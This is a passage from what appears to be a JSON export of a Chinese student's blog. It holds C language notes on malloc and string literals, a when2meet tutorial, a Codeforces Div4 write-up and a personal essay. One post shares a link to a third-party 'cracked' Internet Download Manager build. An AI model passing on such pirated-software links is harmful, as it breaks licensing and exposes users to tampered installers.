遍历字符串找到ASCII码最大的字符 for (size_t i = 1; i < len; i++) { if (str[i] > maxChar) { maxChar = str[i]; hasInput = 1; } } // 输出结果 if (hasInput) { printf("%c\\n", maxChar); } else { printf("N/A\\n"); } free(str); return 0; } 为什么没有赋值的字符指针用malloc分配空间后就可以赋值了?为了理解这个问题,我们需要深入了解字符指针(或任何指针)和malloc函数的工作原理。 指针的本质: 一个指针变量存储的是内存地址。当我们声明一个指针变量,如char *ptr;,ptr只是一个能够存储地址的变量,但此时它尚未初始化,所以它包含的地址是不确定的(通常称为野指针)。 赋值给指针: 当你尝试通过一个未初始化的指针赋值,如*ptr = 'a';,你实际上是在尝试向一个不确定的地址写入数据,这是危险的,并且通常会导致程序崩溃。 malloc的作用: malloc函数用于动态分配内存。当你调用malloc,它为你保留一块指定大小的连续内存,并返回这块内存的首地址。例如,char *ptr = (char *)malloc(10 * sizeof(char)); 为ptr分配了可以存储10个字符的空间,并返回这块空间的地址。 指针赋值后的使用: 一旦你为指针分配了内存,你就可以安全地使用这块内存了。例如,你可以这样做ptr[0] = 'a';,因为你知道ptr指向的地址现在是你已经分配的内存。 总结:一个未初始化的指针没有指向任何已知的、安全的内存位置。通过使用malloc,我们为指针分配一块确定的、已知的内存空间,这使我们能够安全地在那个地址处存储和检索数据。但请注意,使用完malloc分配的内存后,应使用free函数释放它,以避免内存泄漏。 那为什么赋值后的字符串不能修改,而上述问题的可以修改这个问题涉及到字符串字面量和动态分配的内存的不同。 字符串字面量: 当我们使用字符串字面量,例如: char *str = "Hello"; str 指向的是程序的常量区域(或称为文本段),其中存储的数据是只读的。因此,尝试修改通过字符串字面量初始化的指针指向的内容会导致未定义的行为(通常是程序崩溃)。 动态分配的内存: 当我们使用malloc(或calloc)为字符串分配内存,例如: char *str = (char *)malloc(6 * sizeof(char)); strcpy(str, "Hello"); 这种情况下,str 指向的是堆上的一块内存,这块内存是可以读写的。因此,你可以修改str指向的内容,例如str[0] = 'h';。 另一种情况是当我们使用字符数组来存储字符串时: char str[] = "Hello"; 在这种情况下,str 是一个数组,并在栈上为其分配了内存。这块内存是可以读写的,所以我们可以修改字符串内容。 总之,字符串的可修改性取决于它存储的位置:字符串字面量是只读的,而在堆或栈上分配的字符串是可以修改的。 字符的输入% printf("%%"); 三种方法把int 转为二进制数不补零 #include<stdio.h> #define uint32 unsigned int #define uint8 unsigned char int ShortDivOutPutBin(uint32 input){ uint8 temp[33]={0}; int i=0; //用短除法的思想得到二进制,之后将数据从后往前读取 while (input) { temp[i]=input % 2; //取余数存放到数组中,此为得到的二进制数 input = (uint32)input/2; //短除,while中判断是否除尽 i++; //存储了一个二进制数,自加存储下一个 } for(i--;i>=0;i--){ //由于最后一次iput为无效,1还是自加了,因此最后一次自加的值是无用的,所以先自减,然后将余数从后往前读取 printf("%d",temp[i]); } } 此方法可自行加0 第二种方法 #include<stdio.h> void bit(int n){ int i=0; int arr[33]={ 0 }; for ( i = 1; i < sizeof(int)*8; i++) { arr[i]=n&1; n=n >> 1; } int k = 0; for ( k = i-1; k >=1 ; k--) { printf("%d",arr[k]); } }","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"c语言","slug":"c语言","permalink":"http://example.com/tags/c%E8%AF%AD%E8%A8%80/"}],"author":"秋雨样"},{"title":"when2meet使用教程","slug":"when2meet使用教程","date":"2023-09-25T15:55:06.000Z","updated":"2024-07-30T09:43:42.712Z","comments":true,"path":"posts/4f5c6e7c.html","link":"","permalink":"http://example.com/posts/4f5c6e7c.html","excerpt":"","text":"什么是when2meet?when2meet是一个安排活动会议,确定大家空闲时间,来方便确定活动或者会议时间的工具。 为什么要用when2meet?以便确定各位同学的空闲时间,来更好的安排活动会议,以求不打乱同学的安排 我是参与者,我要如和使用when2meet?活动的组织者会向群里发送一个链接例如:https://www.when2meet.com/?21552023-I8tZc ,你应该使用手机或者电脑打开链接(推荐使用电脑,手机屏幕太小,操作有些不方便)左边是登录区,右边显示的是现在小组里面的时间分布,颜色越绿一般代表这个时间段大家空闲时间最多。上面图片箭头所指的代表者不同颜色对应有多少人有空闲时间。现在回到左边的登录区,Your Name填你自己喜欢的名字,但请一定要记住,这关系到你以后安排有变动用与更改空闲时间,password可填可不填,每一个链接对应一个your name,既你可以在不同活动(既不同链接)中使用不同的名字,但我建议你不要这样做,容易搞混。当你登录后,你就可以在左边标出你的空闲时间(绿色),表格中是以一个颜色块为单位,再次点击绿色块即可标记为没有空闲。在电脑上,你可以使用鼠标拖动来快速标绿。手机也同样如此。但你空闲时间标记完后,你就可以等活动通知了,记得自己空闲时间改变要再次点击链接重新调整。 我是活动组织者我该如何使用when2meet?首先你要确定活动大致的范围,再用电脑打开网站https://www.when2meet.com/ 首先在上方输入活动名称,再在右边填写大致日期,既你要确定同学们时间的日期一共有两种模式特定时间和一周内的时间,用左键确定日期或星期。右边可以确定最早时间和最晚时间注意,时区只能选择asia/shanghai不是一定要调成这个,选择days of the week没有这个选项。当这些都设置好后你就可以点击create event啦!接下来你就应该准备好活动内容,并附上点击后跳转的页面的链接让同学们填写啦!!! 后记有任何问题可以向我提问,我也会及时更新常见问题在这篇博文 Q&A","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"div4 Codeforces Round 898","slug":"div4-Codeforces-Round-898","date":"2023-08-12T03:04:58.000Z","updated":"2023-09-25T15:12:56.581Z","comments":true,"path":"posts/f223c98.html","link":"","permalink":"http://example.com/posts/f223c98.html","excerpt":"","text":"前言这次是我第一次参加算法比赛,很多题也没做到,希望下次能多做一些。 A打卡题,没啥好说的 B我的思路B在我思考了一下,发现+1对数组里面最小的加对整体收益是最大的,所以使用插入排序对整体进行排序,再对最小数+1。 bing 思路#include <stdio.h> int main() { int t; scanf("%d", &t); while (t--) { int n; scanf("%d", &n); int a[n]; for (int i = 0; i < n; ++i) { scanf("%d", &a[i]); } int max_product = 1; for (int i = 0; i < n; ++i) { if (a[i] == 0) { continue; } int product = 1; for (int j = 0; j < n; ++j) { if (i == j) { product *= a[j] + 1; } else { product *= a[j]; } } if (product > max_product) { max_product = product; } } printf("%d\\n", max_product); } return 0; } bing的思路有点没看懂,他如是说到: 这段代码是一个C语言程序,它的作用是读取一些整数,计算它们的乘积,然后输出乘积的最大值。程序首先读取一个整数t,表示测试用例的数量。接下来,对于每个测试用例,程序会读取一个整数n,表示数组a的大小。然后程序会读取n个整数,存储在数组a中。接下来,程序会计算每个元素加1后的乘积(除了当前元素),并将其与当前元素的乘积相比较。如果当前元素的乘积大于最大乘积,则更新最大乘积。最后,程序输出最大乘积。这段代码中使用了C语言标准库中的函数scanf和printf来读取和输出数据。scanf函数从标准输入流中读取数据,并将其存储在变量中。printf函数将数据格式化为字符串,并将其写入标准输出流中。在这段代码中,变量t、n、a、max_product、product、i和j都是整型变量。变量t、n和a分别存储测试用例数量、数组大小和数组元素。变量max_product存储最大乘积,变量product存储当前元素加1后的乘积。变量i和j是循环计数器。这段代码使用了两个for循环来遍历数组a中的所有元素,并计算它们的乘积。外部循环遍历数组a中的所有元素,内部循环计算每个元素加1后的乘积(除了当前元素),并将其与当前元素的乘积相比较。如果当前元素的乘积大于最大乘积,则更新最大乘积。请注意,在这段代码中,数组a的大小是在运行时动态分配的,因此它必须是一个变长数组(VLA)。这意味着它只能在C99或更高版本中使用。 最后发现有问题,当输入 5 0 0 0 5 时得不到正确答案。 C在做了的题目里面我耗时最长的就是C了,对于C组题,是一个算靶子中箭得分的题,我用的多个for 循环+if判断,实际可以取横纵坐标与边缘的最小值为分数,这样就会简单很多,例如 #inlcude<stdio.h> int min(int a, int b){ if (a < b) return a; else return b; } char s[16][16]; void solve() { int i, j, n = 10; for (i = 0; i < n; i++) scanf("%s", s[i]); int ans = 0; for (i = 0; i < n; i++) for (j = 0; j < n; j++) if (s[i][j] == 'X') ans += min(min(i + 1, 10 - i), min(j + 1, 10 - j)); printf("%d\\n", ans); return; } int main() { int t; scanf("%d", &t); for (; t > 0; t--) solve(); return 0; } Dhttps://codeforces.com/contest/1873/problem/Dd就相对简单了,目标是将B变为W需要的次数,唯一要小心的是有肯能用a[]时有溢出,我是将遇到B后将后几位全部变为W再次从头搜索B。 Ehttps://codeforces.com/contest/1873/problem/E我用for 循环遍历,结果超时用嵌套循环遇见数据量小的还好说,数据量大的就会直接超时,做不出来原因还是没有想出好的算法,我后面想用二分法解决,但没想到啥实现办法,贴一个我自己的错误代码 #include<stdio.h> void m(int b ,int c){ int d[b]; for(int i =0;i<b;i++){ scanf("%d",&d[i]);//存值 } int j=0; int k =0; for(int i=1;;i++){//for嵌套循环 k++; for(int o = 0;o<b;o++){ if(d[o]<i) j+=i-d[o]; } if(j>c) break; else j =0; } printf("%d\\n",k-1); return; } int main(){ int p; scanf("%d",&p); while (p--) { int b,c; scanf("%d%d",&b,&c); m(b,c); } } 我看ac有人用二分法做出来了,贴一个 #include<stdio.h> long long int a[200005]; void solve() { long long int n, x; scanf("%lld %lld", &n, &x); long long int i; for (i = 0; i < n; i++) scanf("%lld", &a[i]); long long int min = -1, max = 1e10, mid; long long int sum; while (max - min > 1) { mid = (max + min) / 2; sum = 0; for (i = 0; i < n; i++) if (a[i] < mid) sum += mid - a[i]; if (sum <= x) min = mid; else max = mid; } printf("%lld\\n", min); return; } int main() { int t; scanf("%d", &t); for (; t > 0; t--) solve(); return 0; } 这就给我提供了一个二分法的思路,设极小值-1,极大值le10 用max-min>1做判断也真理解到了什么叫不开long long见族宗了,真就学到了,然后我写了一遍,结果不对,看来还是没有完全理解","categories":[{"name":"资源","slug":"资源","permalink":"http://example.com/categories/%E8%B5%84%E6%BA%90/"}],"tags":[{"name":"div4","slug":"div4","permalink":"http://example.com/tags/div4/"}]},{"title":"IDM(Internet Download Manager)破解版分享","slug":"IDM(Internet Download Manager)破解版分享","date":"2020-08-12T03:04:58.000Z","updated":"2023-09-22T13:52:39.000Z","comments":true,"path":"posts/23072875.html","link":"","permalink":"http://example.com/posts/23072875.html","excerpt":"","text":"IDM是一个超级好用的多线程下载器可以极大的提到下载速度,但有的时候网站会禁止这种行为 俄罗斯大佬破解后从新封装的IDM,使用起来没啥问题你可以去官网(但是并不建议你这样做,我的下载体验真的是一言难尽);也可以使用我下方提供的下载链接下载。 下载链接: 百度:链接: https://pan.baidu.com/s/1sbcGUebSIxpbdnGOOnmr9Q 提取码: 5555","categories":[{"name":"资源","slug":"资源","permalink":"http://example.com/categories/%E8%B5%84%E6%BA%90/"}],"tags":[{"name":"-IDM","slug":"IDM","permalink":"http://example.com/tags/IDM/"}],"author":"秋雨样"},{"title":"随想01","slug":"随想01","date":"2020-05-01T09:17:21.000Z","updated":"2024-07-30T09:43:35.084Z","comments":true,"path":"posts/4c1b3376.html","link":"","permalink":"http://example.com/posts/4c1b3376.html","excerpt":"","text":"不知不觉,3年的初中生活也将进入尾声。在我看来,三年的初中生活让我成长了许多,思想上也有了很大的变化。脱去了稚嫩换来了真实,敬佩世间的善良,也厌恶世间的黑暗。每当回头瞻望以前的所作所为是多么的可笑。“我会后悔以前做那些蠢事么?”我想不会。虽然很蠢但却是当时那个环境与思想共同所做的决定,更能从中学到一些东西并以此来告诫自己。一个人思想的改变对人的兴趣爱好等有着巨大的影响力甚至可以改变人的一生。巴尔扎克说过“一个能思想的人,才真是一个力量无边的人。”由此可见思想的重要性。在我的身边也出现过以前成绩还可以但上了初中后思想出现改变就愈发的不行了,更有以前中等水平的人逆袭成学霸的故事。而这些故事的背后何不牵扯到人对学习方面思想的变化。人总是向前看的,而过去的终将成为回忆,不一定美好但一定深刻。没准以后我看到这简短的文章也会觉得当时的我是多么的可笑。","categories":[{"name":"随想","slug":"随想","permalink":"http://example.com/categories/%E9%9A%8F%E6%83%B3/"}],"tags":[],"author":"秋雨样"},{"title":"qwq","slug":"qwq","date":"2020-04-01T02:58:39.000Z","updated":"2024-07-30T09:43:40.772Z","comments":true,"path":"posts/ed0e75ee.html","link":"","permalink":"http://example.com/posts/ed0e75ee.html","excerpt":"","text":"","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"“第一篇文章”","slug":"“第一篇文章”","date":"2020-02-03T12:37:10.000Z","updated":"2024-09-07T10:13:14.049Z","comments":true,"path":"posts/679efaa8.html","link":"","permalink":"http://example.com/posts/679efaa8.html","excerpt":"","text":"第一篇博客内容qwq 第二篇博客内容emmmm 参考文献内容CaO","categories":[],"tags":[]}],"categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"},{"name":"资源","slug":"资源","permalink":"http://example.com/categories/%E8%B5%84%E6%BA%90/"},{"name":"随想","slug":"随想","permalink":"http://example.com/categories/%E9%9A%8F%E6%83%B3/"}],"tags":[{"name":"ctf","slug":"ctf","permalink":"http://example.com/tags/ctf/"},{"name":"web","slug":"web","permalink":"http://example.com/tags/web/"},{"name":"c语言","slug":"c语言","permalink":"http://example.com/tags/c%E8%AF%AD%E8%A8%80/"},{"name":"div4","slug":"div4","permalink":"http://example.com/tags/div4/"},{"name":"-IDM","slug":"IDM","permalink":"http://example.com/tags/IDM/"}]}